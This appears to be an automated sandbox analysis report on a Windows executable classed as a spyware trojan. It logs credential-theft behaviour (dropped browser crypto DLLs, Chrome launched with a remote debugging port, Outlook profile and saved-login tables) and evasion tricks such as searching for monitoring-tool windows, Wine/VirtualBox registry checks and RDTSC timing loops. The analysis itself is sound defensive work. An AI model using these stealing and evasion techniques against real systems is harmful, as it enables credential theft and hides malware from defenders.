Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76DAE0 appears 82 times

Source: file.exe, 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2085803805.000000006F902000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: jsszqhsa ZLIB complexity 0.9949778527942554

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/37@6/7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C640300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C640300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NT9PTLU8.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2084830287.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079261630.000000001D73E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2084830287.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079261630.000000001D73E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2084830287.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079261630.000000001D73E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2084830287.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079261630.000000001D73E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2084830287.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079261630.000000001D73E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2084830287.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079261630.000000001D73E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2084830287.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079261630.000000001D73E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1896986749.000000001D5E8000.00000004.00000020.00020000.00000000.sdmp, JKJDBAAAEHIEGCAKFHCG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2084830287.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079261630.000000001D73E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2084830287.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079261630.000000001D73E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2664,i,14017048804474343399,16235251549594865908,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2664,i,14017048804474343399,16235251549594865908,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2078720 > 1048576

Source: file.exe

Static PE information: Raw size of jsszqhsa is bigger than: 0x100000 < 0x190600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2085744423.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2085552538.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1676707184.0000000004EBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064326724.00000000004AC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2085552538.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1676707184.0000000004EBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064326724.00000000004AC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2085744423.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.480000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jsszqhsa:EW;ihpnbawc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jsszqhsa:EW;ihpnbawc:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x201542 should be: 0x1fea24

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jsszqhsa
Source: file.exe	Static PE information: section name: ihpnbawc
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: file.exe

Static PE information: section name: jsszqhsa entropy: 7.955056025520199

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7439 second address: 8D7445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7445 second address: 8D7449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7449 second address: 8D744F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2095 second address: 8D20AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F62C0B58F78h 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F62C0B58F76h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D20AE second address: 8D20B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D20B2 second address: 8D20BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jbe 00007F62C0B58F76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D6A3B second address: 8D6A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D6A41 second address: 8D6A45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA966 second address: 8DA970 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F62C0F4657Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAA59 second address: 8DAA5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAB71 second address: 8DABCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46589h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov esi, dword ptr [ebp+122D1F5Ah] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F62C0F46578h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c pushad 0x0000002d mov ax, cx 0x00000030 or ch, 0000005Fh 0x00000033 popad 0x00000034 call 00007F62C0F46579h 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DABCE second address: 8DABD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DABD2 second address: 8DABED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007F62C0F46576h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007F62C0F46576h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DABED second address: 8DABFB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F62C0B58F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DABFB second address: 8DAC1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62C0F46582h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAC1B second address: 8DAC1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAC1F second address: 8DAC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAC29 second address: 8DAC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAC2D second address: 8DACB8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F62C0F46576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e jns 00007F62C0F46588h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 jmp 00007F62C0F46583h 0x0000001e pop eax 0x0000001f call 00007F62C0F46589h 0x00000024 mov edi, dword ptr [ebp+122D3A03h] 0x0000002a pop edi 0x0000002b push 00000003h 0x0000002d cmc 0x0000002e push 00000000h 0x00000030 jno 00007F62C0F4657Ch 0x00000036 push 00000003h 0x00000038 movzx esi, bx 0x0000003b push A2399F9Fh 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F62C0F4657Dh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DACB8 second address: 8DACBE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DACBE second address: 8DACC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DACC4 second address: 8DACC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DACC8 second address: 8DAD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 1DC66061h 0x0000000f adc cx, 3114h 0x00000014 lea ebx, dword ptr [ebp+1244079Fh] 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F62C0F46578h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 sub dword ptr [ebp+122D2313h], ecx 0x0000003a clc 0x0000003b xchg eax, ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e jng 00007F62C0F46578h 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9573 second address: 8F9584 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F62C0B58F7Ah 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9584 second address: 8F95B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jmp 00007F62C0F4657Dh 0x0000000f jmp 00007F62C0F4657Bh 0x00000014 pop ebx 0x00000015 jng 00007F62C0F4657Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9E08 second address: 8F9E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
